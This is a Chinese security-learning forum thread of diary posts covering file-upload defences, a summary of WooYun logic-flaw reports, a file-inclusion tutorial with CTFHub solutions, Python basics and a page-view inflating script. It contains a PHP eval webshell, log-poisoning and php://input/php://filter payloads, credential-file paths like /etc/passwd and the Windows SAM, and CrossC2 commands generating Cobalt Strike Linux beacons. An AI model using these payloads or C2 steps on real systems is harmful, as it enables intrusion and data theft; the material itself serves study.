可以使用 md5( uniqid() . $uploaded_name )函数,uniqid()函数是根据当前的时间,生成一个唯一的id,跟大多数随机函数一样,基于时间的随机函数在一定条件下也是可以差生碰撞的,因此本例中采用了md5()函数来保证生成id的唯一性,而且由于md5()函数对上传的文件名进行了重命名,因此无法使用00截断的方式来上传php或者其他恶意脚本文件。

4、单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

5、使用安全设备防御
文件上传攻击的本质就是将恶意文件或者脚本上传到服务器,专业的安全设备防御此类漏洞主要是通过对漏洞的上传利用行为和恶意文件的上传过程进行检测。恶意文件千变万化,隐藏手法也不断推陈出新,对普通的系统管理员来说可以通过部署安全设备来帮助防御。

6、重写图片,删去有害元素
通过imagecreatefromjpeg()和imagecreatefrompng()函数将上传的图片文件重新写入到一个新的图片文件中,这两个函数会自动将图片中的有害元数据抹除,因此即使黑客上传了一张图片马也会被这个函数过滤成一个纯正的图片。

7、限制上传文件大小
限定上传的文件大小不得超过10000









回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2021-10-11 21:06:46 | 显示全部楼层
本帖最后由 gclome 于 2021-10-11 21:09 编辑

wooyun文章之逻辑漏洞

最近把wooyun的逻辑漏洞差不多看完了,大致做了以下总结,总结的不太好,但算是记录下了!

先贴两张图:







1、cookie混淆
示例1:wooyun-2016-0226583(不小心闯进1905某站后台/我发誓真的是不小心)
这里是因为验证码与cookie绑定而两账号此时cookie相同造成了混淆
这里强烈批评该网站不会报错模糊化处理,这是我进入后台的关键
修复建议:
报错模糊化,管理员密码找回取消改由人工认证,取消后台自动跳转,修复找回密码逻辑漏洞
2、任意用户密码重置漏洞
(1)验证码返回到了客户端
通过找回密码功能
输入手机号,验证码,下一步,抓包,查看返回值
从返回值中可以直接看到验证码经过了客户端,导致可重置任意用户的密码,绑定任意手机号
示例二:e代驾某处逻辑漏洞可导致绑定任意手机号码或将泄漏用户信息(已成功绑定13012345678)

(2)跳过验证步骤,选择性进入某一步
“找回密码”大致分为两个步骤,第一个步骤是填写“用户名”+“网站验证码”+“短信验证码”,验证通过之后,便可以跳转到第二个页面来填写新的密码。其设置新密码的URL是http://**.**.**.**/reset/pwd/form.do?account=账户名
尝试跳过第一个验证步骤,直接打开上面的链接。其中账户名改为任意其他账户。
(3)参数未作校检,修改uid参数即可重置任意账号
(4)修改手机号,获得验证码
(5)找回密码处接收验证码的手机号可替换
用一个帐号去找回密码,然后用一个手机号替换原本账号绑定的手机号
示例二:团车网某处存在严重型逻辑漏洞可重置任意用户密码
示例三:三只松鼠某处存在严重型逻辑漏洞可重置任意用户密码
(6)找回密码,新密码经过了客户端
示例一:沃的城市生活IOS逻辑漏洞导致用户名密码泄露可登录任意账号
二、密码重置逻辑设计问题,可重置登录任意号码
1、点击重置密码



2、重置后的新密码返回在数据回包中

3、文件泄露
(1)源码泄露
在做测试过程中,无奈发现了源码,
handler/Login.ashx?t=login&name=shitong&password=tdr123", //请求的action路径
(2)后台地址泄露4、支付逻辑漏洞
(1)抓包修改价格
这个示例最多的就是一元购买某个商品,这个分为两类:
一类是直接抓包,修改total价格参数,修改为1,然后支付
二类是先抓包,修改total价格参数,修改为以1,返回支付宝的支付接口,但是先不支付,再次调用此接口,修改total值为原价格,然后支付。


这里是因为
商城支付系统会记录每笔订单的应收款,如果支付宝或其他支付方式返回的金额和应付款对不上。则订单状态不改变还是待支付。
(2)修改购买数量为负
通过修改数量为负,使得支付金额为负数,同时购物车一起支付正数商品时可以成功付款
(4)修改付款账户id,盗取用户余额
示例一:糖果网逻辑漏洞(泄露所有用户家庭地址等信息、冒充用户,盗取所有用户余额)
5、应答中存在影响后续逻辑的状态参数
在输入错误的验证码时,会返回false之类的字段,修改false为true,或者修改0为1,就可绕过前端验证。
通常思路:
(1)抓包,选择do intercept-> response to this request ,放包,抓到到下一个包就是response的包,可以修改,重放;
(2)有时返回url页面跳转,可以尝试进行修改进行页面直接跳转。
示例二:优信二手车逻辑漏洞可重置任意用户密码
修改返回值,然后正常进入修改密码页



示例三:美洽网又一严重逻辑漏洞可重置任意用户密码/绑定任意手机号码( 重置任意用户密码 )
示例四:华润信托某重要站点存在逻辑漏洞可登陆任意账号泄漏用户资产信息和个人资料等
6、奇奇怪怪的逻辑漏洞
登录酒仙网,然后点击左上角的请登录,然后选择合作账号微博登录,在登录界面时候点取消,然后自动跳转到酒仙网首页,竟然页面自动登录任意一位的用户账号,目测账号余额很多。。。
发现一个很奇葩的漏洞,在首次访问时会随机用户登录,而后跳转到登录页面,因此首次访问时,在自动跳转前停止加载,就会留在随机用户登录状态页面。
进行绑定, 绑定成功后会显示出错(其实已经成功绑定), 再次绑定后示为用户名已经存在, 测试发现成功
只要申请一个与其他音乐人同名的帐号,就可以修改这个音乐人的个人信息
7、越权
越权分为两类:平行越权和垂直越权
(1)平行越权
示例二:车易拍某处存在逻辑漏洞导致全站用户手机号泄露
问题参数:orderId=和order_userId没有被加密,可直接被修改导致逻辑,9272363递增1的时候,5311555也必须递增1即可9272363递减1的时候,5311555也必须递减1即可,依此类推查询上万用户敏感信息
(1)遍历id,查看信息
示例三:爱康国宾某处逻辑漏洞导致近2000W+的订单信息可泄露
便利orederId即可
示例四:饿了么某系统逻辑漏洞可导致用户敏感信息泄漏
查看商户信息,放包,抓返回包


63046506这个号码 应该是用户公开的信息
但是这个手机号 13816312551 前台是看不到的 应该是用户的注册信息
批量跑手机号
示例六:快的打车某重要系统逻辑漏洞可泄漏大量用户敏感信息包括姓名/车牌号等
示例七:车易拍某处存在逻辑漏洞导致全站用户手机号泄露
(2)遍历工号(只需要工号)设计上的缺陷
这个主要针对于某些公司或者高校或者政府部门,允许只输入工号,就可以返回员工所有信息,这样可以使用工号字典去暴破,可以查看众多返回信息。
1、Zealer_android客户端安全检测
任意微博账户登录:http://wooyun.org/bugs/wooyun-2010-0215238的升级版,现在只需要改数据包中的明文open_id值提交请求就可以获得该微博账号登录Zealer的z_q1值,可以登录Web端。
得到z_q1值后登录web端,可以看到ZEALER-FIX的账号已被登录。
12、登录接口暴力破解
1、登录接口暴力破解(没有验证码限制)
登录接口未限制批量提交数据,可暴力破解账号,密码。
返回200帐号即登陆成功。
2、短信验证码暴力破解
3、登录接口暴力破解(有验证码检验,但验证码不改变)
示例一:捷依物联网管理专家登录验证逻辑漏洞导致爆破
整理的还是有点乱,前期看的时候还在笔记里贴例子,后来看的几页,感觉很多见过,就没有再把例子贴过来。

看逻辑漏洞的时候,恰好在freebuf上看见了关于逻辑漏洞很不错的连载(就是全程带阻那位师傅的文章,tql)

一共六篇,贴一个链接过来:









回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2021-10-19 22:16:36 | 显示全部楼层
本帖最后由 gclome 于 2021-10-19 22:32 编辑

2021/10/19 学习日记

part1--文件包含


相关基础知识
1、文件包含漏洞原理
文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,所以这样就会导致文件包含漏洞
在网站的开发人员在开发网站的时候,会把经常重复使用的函数或者特定的页面写到单个文件中,需要使用的时候就直接调用此文件即可,而无需再次浪费时间再次编写,这种操作通常被称为文件包含。
如果我们没有对文件的来源进行严格的审查,也就是程序员在编写代码的时候触犯的逻辑性的错误就可能会导致文件读取漏洞和其它类型的漏洞,我们已php为例,在php中常用的文函数有(include、require、include_once、require_once),后续会介绍其中的区别。
2、文件包含函数
在php语言当中,有四种文件包含的函数,分别是include、require、include_once、require_once
  • include( )
            当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。
  • include_once( )
            功能与 Include()相同,区别在于当重复调用同一文件时,程序只调用一次
  • require( )
            require()与 include()的区别在于 require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
  • require_once( )
            功能与 require()相同,区别在于当重复调用同一文件时,程序只调用一次。
3、文件包含类型分类
3.1本地包含
本地文件包含的含义就是包含本地服务器的文件。
3.2远程包含
要实现远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。

4文件包含利用过程
包含本地文件
1、包含普通txt文本
先写一个文件包含的代码include.php:
  1. <?php
  2.         $file=$_GET['file'];
  3.         if(isset($file)){
  4.                 include ("$file");
  5.                        
  6.         }else{
  7.                 echo "file fail";
  8.         }
  9. ?>
复制代码

然后包含一个1.txt ,内容如下:
  1. <?php         echo(" fighting gclome ")?>
复制代码

构造访问语句:

简析:通过get传参,利用?file=1.txt将1.txt包含到include.php中,在web端进行访问,就会执行txt里面的代码

2、包含一句话木马文件
将1.txt里面的文本修改如下:
  1. <?php         eval($_POST['key']);?>
复制代码
先在web端进行访问,然后在拿出蚁剑连接,可以连接成功!

这个思路就可以用在上传木马时的一个绕过,适用的场景大致如下:
1、该网站存在文件包含漏洞,且允许上传txt文件
2、该网站对于上传的php文件会进行检测,要是有eval() 等危险函数会拒绝上传,这时我们可以写一个文件包含的php文件上传,同时该网站对于上传的txt文件不会进行检测,那我们可以在txt文件中写入一句话,然后利用文件包含来上传小马。

3、包含log文件
这个只是提供一个思路,因为一句话被url编码所以不能正常解析。
首先我们知道一般服务器都会有log文件,存储该服务器被访问的记录,这里比如xampp下面apache也有log文件,目录如下:

我们在网页端访问127.0.0.1:8181/file_include/include.php/the world is beautiful

会发现出现在了access.log 文件里,要是我们写入小马,再通过文件包含或许有意外的收获,我们来试试
先在web端访问:http://127.0.0.1:8181/file_include/include.php/<?php eval($_POST[''])?>
然后就会记录在log日志文件:

我们在web也可以直接访问access.log文件

通过上面的访问地址,将access.log文件包含在了include.php里面,由于access.log里面有一句话木马,也就是将一句话木马包含在了include.php里面,有然后同样的地址去用蚁剑连接:
http://127.0.0.1:8181/file_include/include.php?file=D:/xampp/apache/logs/access.log

没有连上,这是因为将文件写入日志文件的时候进行了url编码。
远程文件包含
5伪协议利用

6常见的敏感路径
1 Windows
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存储 windows 系统初次安装的密码
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件
2 UNIX/Linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP 相关配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu 系统的默认路径
7文件包含漏洞攻击防范
7.1检查服务器配置文件
在php中有个php.ini的配置文件,里面大概是对php语言所有功能配置文件集合,其中里面有两项是allow_url_foprn、allow_url_include两个选项,其中allow_url_fopen默认是开启的,allow_url_include默认是关闭的,如果我们开启这个配置文件,我们就可以使用伪协议读取我们的敏感信息和其它操作,虽然开启allow_url_fopen也可以读取我们的文件,但是我们可以通过过滤一些字符或者限制用户的输入从而达到攻击不能读取我们信息的操作。
7.2过滤特殊符号
在进行文件包含的时候我们可能经常会用到几个固定的字符,或者我们在用伪协议的时候我们也会使用特定的字符,例如:\,//,input,output,filter等我们可以将这些铭感字符都给过滤掉。代码如下
ctfhub文件包含题目练习
文件包含

对代码不够熟悉
接下来先对代码意思进行解读
  1. <?php
  2. error_reporting(0);                        // 关闭错误报告
  3. if (isset($_GET['file'])) {                                                                 //isset — 检测变量是否已设置并且非 null
  4.     if (!strpos($_GET["file"], "flag")) {   //查找 "flag" 在字符串中第一次出现的位置
  5.         include $_GET["file"];
  6.     } else {
  7.         echo "Hacker!!!";
  8.     }
  9. } else {
  10.     highlight_file(__FILE__);      //highlight_file() 函数对文件进行语法高亮显示。
  11. }
  12. ?>
复制代码

关注这个函数strpos:
  1. #函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
  2. strpos("You love php, I love php too!","php");
复制代码

点击shell,查看

这里区分一下php中$_REQUEST、$_POST、$_GET
1. $_REQUEST
php中$_REQUEST可以获取以POST方法和GET方法提交的数据,缺点:速度比较慢 。
2. $_GET
用来获取由浏览器通过GET方法提交的数据。
GET方法他是通过把参数数据加在提交表单的action属性所指的URL中,值和表单内每个字段一一对应,然后在URL中可以看到,但是有如下缺点:
1. 安全性不好,在URL中可以看得到
2. 传送数据量较小,不能大于2KB。
3. $_POST
用来获取由浏览器通过POST方法提交的数据。
POST方法他是通过HTTP POST机制,将表单的各个字段放置在HTTP HEADER内一起传送到action属性所指的URL地址中,用户看不到这个过程。
他提交的大小一般来说不受限制,但是具体根据服务器的不同,还是略有不同。相对于_GET方式安全性略高
4. $_REQUEST、$_POST、$_GET 的区别和联系
$_REQUEST["参数"]具用$_POST["参数"] $_GET["参数"]的功能,但是$_REQUEST["参数"]比较慢。
通过post和get方法提交的所有数据都可以通过$_REQUEST数组["参数"]获得
接下来构造payload,用post请求给ctf传参,开始表演:


打开flag文件
ctfhub=system('cat /flag');

通过这一题,在实际情况下,我们往往会查看一些系统敏感文件:
例如:

php://input


  1. <?php
  2. if (isset($_GET['file'])) {
  3.     if ( substr($_GET["file"], 0, 6) === "php://" ) {
  4.         include($_GET["file"]);
  5.     } else {
  6.         echo "Hacker!!!";
  7.     }
  8. } else {
  9.     highlight_file(__FILE__);
  10. }
  11. ?>
  12. <hr>
  13. i don't have shell, how to get flag? <br>
  14. <a href="phpinfo.php">phpinfo</a>
复制代码

substr — 返回字符串的子串
if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    }    //限制输入的伪协议为php开头的


查看phpinfo,找到一下字段


证明是可以使用php://input
构造payload
<?php system("ls /"); ?>

<?php system("cat /flag_4502");?>
读取源代码

  1. <?php
  2. //报告所有错误
  3. error_reporting(E_ALL);
  4. if (isset($_GET['file'])) {
  5.     if ( substr($_GET["file"], 0, 6) === "php://" ) {
  6.         include($_GET["file"]);
  7.     } else {
  8.         echo "Hacker!!!";
  9.     }
  10. } else {
  11.     highlight_file(__FILE__);
  12. }
  13. ?>
复制代码

这里就不能将指令POST上去了,图中又提示了必须使用php://,FLAG在/flag内
因此想到过滤器filter
直接访问?file=php://filter/resource=/flag得到FLAG

在有些情况下,不能直接读出,可以使用read=convert.base64-encode 进行base64编码读取

  1. ?file=php://filter/read=convert.base64-encode/resource=/flag
复制代码



part2-CrossC2--上线linux主机
cobaltstike默认只生成windows载荷,想上线linux主机需要通过ssh回话的方式,CrossC2可以通过生成linux载荷直接上线linux主机(或Mac)
开始根据网上下载的包,直接使用并没有成功生成载荷,然后用老师处理好的的CrossC2插件就可以完美上线。
过程如下:
1、首先设置监听,这里需要特别注意: CrossC2暂时只支持HTTPS的监听器。
2、我们并没有将CrossC2.cna加载到Cobaltstrike的脚本管理器中,而是直接在命令行下生成:

  1. windows版本:
  2. genc2win.exe 192.168.0.118 8090 .cobaltstrike.beacon_keys null Linux x86 test2
复制代码



  1. linux版本:
  2. ./genc2linux ip port ./.cobaltstrike.beacon_keys null Linux x86 /home/test3
复制代码

帮助文档:

(1)自己客户端是windows机器就选择genc2win.exe,若是linux 选择genc2linux,若是mac os 选择genc2mac

(2)host ,port分别指监听的ip和端口号
(3)beaconkey_file 这里一定要把Cobaltstrike对应服务端的.cobaltstrike.beacon_keys 复制到src文件夹下。
(4)这时候是选择运行平台,注意首字母是大写
(5)x86或者x64根据受害机器的版本来
(6)最后就是生成载荷的名称



在受害机器上运行载荷:

接下来就是肉鸡上线!Linux机器上线啦!

part3-python学习
(跟着秀璋老师的博客)

二、条件语句和循环语句的基础知识
1.条件语句:包括单分支、双分支和多分支语句,if-elif-else
2.循环语句:while的使用及简单网络刷博器爬虫
3.循环语句:for的使用及遍历列表、元组、文件和字符串
语句块
在讲诉条件语句、循环语句和其他语句之前,先来补充语句块知识.(前面讲函数时已经用到过)
语句块并非一种语句,它是在条件为真(条件语句)时执行或执行多次(循环语句)的一组语句.在代码前放置空格或tab字符来缩进语句即可创建语句块.很多语言特殊单词或字符(如begin或{)来表示一个语句块的开始,用另外的单词或字符(如end或})来表示语句块的结束.
而在Python中使用冒号(来标识语句块的开始,块中每一个语句都是缩进的(缩进量相同).当回退到和已经闭合的块一样的缩进量时,就表示当前块已经结束.
一. 条件语句if
if分支语句表达式基本类型常见的有一下三种:
1.单分支语句
它的基本格式是:
if condition:
statement
statement
需要注意的是Ptthon中if条件语句条件无需圆括号(),条件后面需要添加冒号,它没有花括号{}而是使用TAB实现区分.其中condition条件判断通常有布尔表达式(True|False 0-假|1-真 非0即真)、关系表达式(>= <= == !=)和逻辑运算表达式(and or not).
2.双分支语句
它的基本格式是:
if condition:
   statement
   statement
else:
   statement
   statement
3.多分支语句
if多分支由if-elif-else组成,其中elif相当于else if,同时它可以使用多个if的嵌套.具体代码如下所示:
  1. #双分支if-else
  2. count = int(input("please input:"))
  3. print ('count',count)
  4. if count > 80:
  5.     print ("larger than 80")
  6. else:
  7.     print ("lower than 80")
  8. print("end if-else45")

  9. #双分支if-elif-else
  10. number = int(input("please input:"))
  11. if number >= 90:
  12.     print ("A")
  13. elif number >= 80:
  14.     print ("B")
  15. elif number >= 70:
  16.     print ("C")
  17. elif number >= 60:
  18.     print ("D")
  19. else:
  20.     print("No Pass!")

  21. #条件判断
  22. sex= input("please input your sex:")
  23. if sex == "man" or sex == "male" or sex == "m":
  24.     print("man")
  25. else:
  26.     print("female")
复制代码


至于count = int(input("please input:")) 要加int,是因为 input 输入的是str类型的
要想实现 > 就要换成int 类型
不然会报错如下:

二、循环语句while
while循环语句的基本格式如下:
while condition:
     statement
     statement
else:
     statement
     statement
其中判断条件语句condition可以为布尔表达式、关系表达式和逻辑表达式,else可以省略(此处列出为与C语言等区别).举个例子:
  1. #循环while计数1+2+..+100
  2. i = 1
  3. sum = 0
  4. while i <= 100:
  5.     sum=sum+i
  6.     i=i+1
  7. else:
  8.     print("exit")
  9. print(sum)

  10. '''
  11. 输出结果为:
  12. exit
  13. 5050
  14. '''
复制代码


它的输出结果为5050,当i加到101时,由于i>100将执行else语句.
需要注意的是Python中使用井号(#)表示行注释,使用三引号('''...''')表示多行注释.区别于C/C++的//行注释和/**/多行注释.
下面讲述一段代码刷博器爬虫,先给出代码再讲解:
  1. import webbrowser as web
  2. import time
  3. import os
  4. i=0
  5. while i < 5:
  6.     web.open_new_tab("http://www.smatrix.org/forum/forum.php?mod=viewthread&tid=21&extra=page%3D1&page=6")
  7.     i=i+1
  8.     time.sleep(0.8)
  9. else:
  10.     os.system('taskkill /F /IM firefox.exe')
复制代码


在搜狐博客或新浪博客中只要在新窗口打开就会增加浏览访问次数,所以上面的代码主要是通过调用webbrowser浏览器的open_new_tab打开新的窗口,而CSDN不行(估计绑定用户或ip有关).
上面代码中windoes命令taskkill的作用是杀掉应用程序IE浏览器,在DOS中输入"taskkill /F /IM firefox.exe"可以强行关闭应用程序(chrome.exe或qq.exe),其中/F表示强行终止程序,/IM表示图像.在该程序中主要的作用是清除内存,防止内存消耗太大出现死机现象;但是需要调用import os的system()函数打开,而Linux下用kill命令(kill -pid或killall)终止进程.

代码中time.sleep(seconds)表示"Delay execution for a given number of seconds.",从打开到加载有一定时间.
当你需要大量增加浏览量时可以使用两层循环嵌套,每次打开5个网页在关闭在执行100次,这样你的内存也不会因为消耗太大出现死机现象,也可以使用import random count=random.randint(20,40)产生20到40随机数来执行外层循环.代码比较简单,主要是想通过它介绍些Python的基础知识
我加载了自己的日记页面:

三、循环语句for
该循环语句的基础格式为:
for target in sequences:
    statements
target表示变量名,sequences表示序列,常见类型有list(列表)、tuple(元组)、strings(字符串)和files(文件).
Python的for没有体现出循环的次数,不像C语言的for(i=0;i<10;i++)中i循环计数,Python的for指每次从序列sequences里面的数据项取值放到target里,取完即结束,取多少次循环多少次.其中in为成员资格运算符,检查一个值是否在序列中.同样可以使用break和continue跳出循环.
1、字符串循环
  1. s="the school is beautiful"
  2. for i in s:
  3.     print(i,end='')
复制代码


print(i,end='')可以将所有的字符一行输出:the school is beautiful
2、列表循环
  1. list1=[1,3,5,7,'x',13,5]
  2. i=0
  3. for val in list1:
  4.     print (format(i,'2d'),val)
  5.     i=i+1
  6. else:
  7.     print('out for')
复制代码


注意:列表List由一堆数据用逗号间隔,方括号括起,可以是同类型也可以是不同类型.format(i,'2d')相当于输出两位,不足的补空格.当输出0-9时显示"口0",而输出10-99时显示"10"实现对其功能.输出结果如下:
  1. 0 1
  2. 1 3
  3. 2 5
  4. 3 7
  5. 4 x
  6. 5 13
  7. 6 5
  8. out for
复制代码

因为迭代(循环另一种说法)某范围的数字是很常用的,所以有个内建的范围函数range供使用.列表中for n in [1,2,3,4,5,6,7,8]相当于listNum=range(1,9).其格式"range(start, stop[, step]) -> list of integers",它的工作方式类似于分片,它包含下限(本例range(1,9)中为1),但不包含上限(本例中9),如果希望下限为0,可以只提供上限如range(4)=[0,1,2,3].
产生1到100的数字range(1,101),输出1到100的奇数range(1,101,2),输出1到100的偶数range(2,101,2).
3.元组循环
  1. s=(1,2,3,4,5)
  2. for i in (s):
  3.     print(i)
  4. else:
  5.     print("end!")
复制代码

元组tuple每个数据项不可修改,只可读,而序列list[1,2,3,4]可以修改.
4.文件循环
help(file.read)返回一个字符串."read([size]) -> read at most size bytes, returned as a string."
help(file.readlines)返回一个列表."readlines([size]) -> list of strings, each a line from the file."相当于读n行,由n次readline组成,读出的字符串构成列表.
help(file.readline)从某个文件读一行."readline([size]) -> next line from the file, as a string."
  1. #文件循环遍历三种对比
  2. for n in open('1.txt','r').read():
  3.     print (n ,end=' ')
  4. print ('End')

  5. for n in open('1.txt','r').readlines():
  6.     print (n,end=''),
  7. print ('End')

  8. for n in open('1.txt','r').readline():
  9.     print (n ,end='')
  10. print ('End')
复制代码

运行结果:
如果需要文件输出也可以通过下面代码实现,使用w会覆盖而a+是追加功能,后面涉及到文件详细叙述.
for r in open('test.txt','r').readlines():
open('test.txt','a+').write(c)
三、字符串的基础知识
在Python中最重要的数据类型包括字符串、列表、元组和字典等.该篇主要讲述Python的字符串基础知识.
一.字符串基础
字符串指一有序的字符序列集合,用单引号、双引号、三重(单双均可)引号引起来.如:
s1='www.csdn.net' s2="www.csdn.net" s3='''aaabbb'''
其中字符串又包括:
1.转义字符串
像C语言中定义了一些字母前加"\"来表示常见的那些不能显示的ASCII字符,python也有转义字符.如下:
\\-反斜杠符号 \'-单引号 \"-双引号 \ a-响铃 \b-退格(Backspace)
\n-换行 \r-回车 \f-换页 \v-纵向制表符 \t-横向制表符 \e-转义
\000-空 \oyy-八进制数yy代表的字符 \xyy-十进制yy代表的字符
2.raw字符串
Python中原始字符串(raw strings),r关闭转义机制.告诉Python后面是连串,"\"不当转义字符处理.例:
  1. #转义字符和raw字符
  2. s1="aa\nhaotian"
  3. print(s1)
  4. s2=r"aa\nhaotian"
  5. print (s2)

  6. #输出
  7. aa
  8. haotian
  9. aa\nhaotian

  10. #raw原始字符串处理磁盘路径
  11. open(r'./1.txt','a+')
  12. open('./1.txt','a+')
复制代码




3.unicode字符串
告诉Python是Unicode编码,Unicode(统一码、万国码)是一种在计算机上使用的字符编码.在Unicode之前用的都是ASCII码,Unicode通过使用一个或者多个字节来表示一个字符.Python里面默认所有字面上的字符串都用ASCII编码,可以通过在字符串前面加一个'u'前缀的方式声明Unicode字符串,这个'u'前缀告诉Python后面的字符串要编成Unicode字符串.例:s=u'aa\nbb'
中文处理一直很让人头疼,推荐:Unicode和Python的中文处理
4.格式化字符串
字符串格式化功能使用字符串格式化操作符%(百分号)实现,在%的左侧放置一个字符串(格式化字符串),而右侧放置希望格式化的值,也可是元组和字典.如果需要在字符串里包括百分号,使用%%.如果右侧是元组的话,则其中每一个元素都会被单独格式化,每个值都对应一个转化说明符.例:
   
  1. print("your age is %d,name is %s,score is %d"%(18,'gclome',89))
  2.         输出:your age is 18,name is gclome,score is 89
复制代码


它有点类似于C语言的printf("%d",x),其中百分号%相当于C语言的逗号.其中字符串格式化转换类型如下:
d,i 带符号的十进制整数
o 不带符号的八进制
u 不带符号的十进制
x 不带符号的十六进制(小写)
X 不带符号的十六进制(大写)
e,E 科学计数法表示的浮点数(小写,大写)
f,F 十进制浮点数
c 单字符
r 字符串(使用repr转换的任意Python)
s 字符串(使用str转换的任意Python)
g,G 指数大于4或小于精度值和e相同,否则和f相同
二.字符串操作
字符串的基础操作包括分割,索引,乘法,判断成员资格,求长度等.
1.+连接操作
  1. s1='good'
  2. s2='night'
  3. s3=s1+s2
  4. print(s1,s2)
  5. print(s3)

  6. 运行结果:
  7. good night
  8. goodnight
复制代码


2.*重复操作
  1. s1='good'*5
  2. print(s1)

  3. 运行结果:
  4. goodgoodgoodgoodgood
复制代码

3.索引s[index]
Python的索引格式string_name[index],可以访问字符串里面的字符成员.
如:
  1. s1='good night'
  2. print(s1[8])
  3. 运行结果:
  4. h
复制代码


4.切片s[i:j]
Python中切片的基本格式是s[i:j:step],其中step表示切片的方向,起点不写从0开始,终点不写切到最后.如:
  1. s='abcdefghijk'
  2. sub=s[3:8]
  3. print (sub)
  4. 运行结果:
  5. defgh
  6. 注:开始是3,结尾只取到7,8取不到
复制代码


其中当step=-1时表示反方向切片.如:
  1. s='abcdefghijk'
  2. sub=s[-2:-5:-1]
  3. print (sub)
  4. 运行结果:
  5. jih
复制代码

因为最后一个"-1"表示从反方向切片,s[9]='j' s[-2]='j',正方向第一个'a'索引下标值为0,最后一个'k'索引下标值为-1.故'j'为-2,而sub[-2:-5:-1]表示从j(-2位置)切到g(-5位置,但不取该值).故结果为"jih".
如果想完成字符串逆序,s='www.baidu.com',则可s1=[-1::-1]即可.起点为m(-1),无终点表示切到最后.
5.字段宽度和精度
前面讲述的format()函数中涉及到该知识,如'%6.2f'%12.345678 输出"口12.35"其中6表示字段宽度,2表示精度,故补一个空格,同时采用四舍五入的方法结果输出12.35.
同时,零(0)可表示数字将会用0填充,减号(-)用来实现左对齐数值,空白(" ")意味着正数前加上空格,在正负数对其时非常有用,加号表示不管正数还是负数都标识出符号,对齐时也有用.例:
  1. #字段宽度和精度
  2. num1=12.7852638
  3. s1=('%8.2f'%num1)
  4. print(s1)
  5. #补充0
  6. s2=('%08.2f'%num1)
  7. print(s2)
  8. #减号实现左对齐
  9. s3=('%-8.2f'%num1)
  10. print(s3)
  11. #空白
  12. print (('% 5d'%10) + '\n' + ('%5d'%-10))
  13. #符号
  14. print (('%+5d'%10) + '\n' + ('%+5d'%-10))

  15. #运行结果:
复制代码



三.字符串方法
字符串从string模块中"继承"了很多方法,下面讲解一些常用的方法:
find()
在一个较长的字符串中查找子字符串,它返回子串所在位置的最左端索引,如果没有找到则返回-1.其格式为"S.find(sub [,start [,end]]) -> int",其中该方法可接受可选的起始点和结束点参数.而rfind()从右往左方向查找.
  1. text = "hello python ,hello gclome"
  2. length = len(text)
  3. print(length)
  4. print(text.find('hello'))
  5. print(text.find('hello',10,40))

  6. 运行结果:
  7. 26
  8. 0
  9. 14
复制代码

join()
其格式为"S.join(iterable) -> string",含义为"Return a string which is the concatenation of the strings in the iterable. The separator between elements is S."即用来在队列中添加元素,但队列中元素必须是字符串.它是split方法的逆方法.
  1. seq = ['1','2','3','4']
  2. sep = '+'
  3. print(sep.join(seq))  #连接字符串列表 sep表示'+'连接

  4. dirs='','usr','bin','env'
  5. print('/'.join(dirs))
  6. print('C:'+'\\'.join(dirs))

  7. 输出结果:
  8. 1+2+3+4
  9. /usr/bin/env
  10. C:\usr\bin\env
复制代码


split()
字符串分割函数,格式为"S.split([sep [,maxsplit]]) -> list of strings",将字符串分割成序列,如果不提供分割符,程序将会把所有空格作为分隔符.
  1. #按空格拆分成6个单词,返回list
  2. s = 'despite his protests to the contrary'
  3. li = s.split()
  4. print (li)
  5. print('1+2+3+4+5'.split('+'))

  6. 输出结果:
  7. ['despite', 'his', 'protests', 'to', 'the', 'contrary']
  8. ['1', '2', '3', '4', '5']
复制代码


strip()
去掉开头和结尾的空格键(两侧且不包含内部),S.strip([chars])可以去除指定字符.而函数lstrip()去除字符串最开始的所有空格,rstrip()去除字符串最尾部的所有空格.
replace()
该方法返回某字符串的所有匹配项均被替换后得到字符串,如文字处理程序中"查找并替换"功能.
translate()
该方法和replace一样,可以替换字符串中某部分,但与前者的区别是translate只处理单个字符,它的优势在于可以同时替换多个,有时候效率比replace高.
如:s='eastmount' s1=s.replace('e','E') => 替换后'Eastmount'
字符串判断方法
isalnum()判断是否都是有效字符(字母+数字),如判断密码帐号,输出Ture\False.
isalpha()判断是否是字母
isdigit()判断是否是数字
islower()判断是否全是小写
isupper()判断是否全是大写
isspace()判断是否是空格(' ')

lower()
该方法返回字符串的小写字母版,在判断用户名不区分大小写时使用.upper()转换为大写,title()函数将字符串转换为标题——所有单词的首字母大写,而其他字母小写,但是它使用的单词划分方法可能会得到不自然的结果.

  1. #按空格拆分成6个单词,返回list
  2. s = 'men are more likely than women to make excuses'
  3. s1 = s.upper()
  4. print(s1)
  5. s2 = s.title()
  6. print(s2)

  7. 输出结果:
  8. MEN ARE MORE LIKELY THAN WOMEN TO MAKE EXCUSES
  9. Men Are More Likely Than Women To Make Excuses
复制代码

每日一句:
Fungi are important in the process of dency,which returns ingredients to the soil,enhances soil feryility ,and decomposes animal debris.
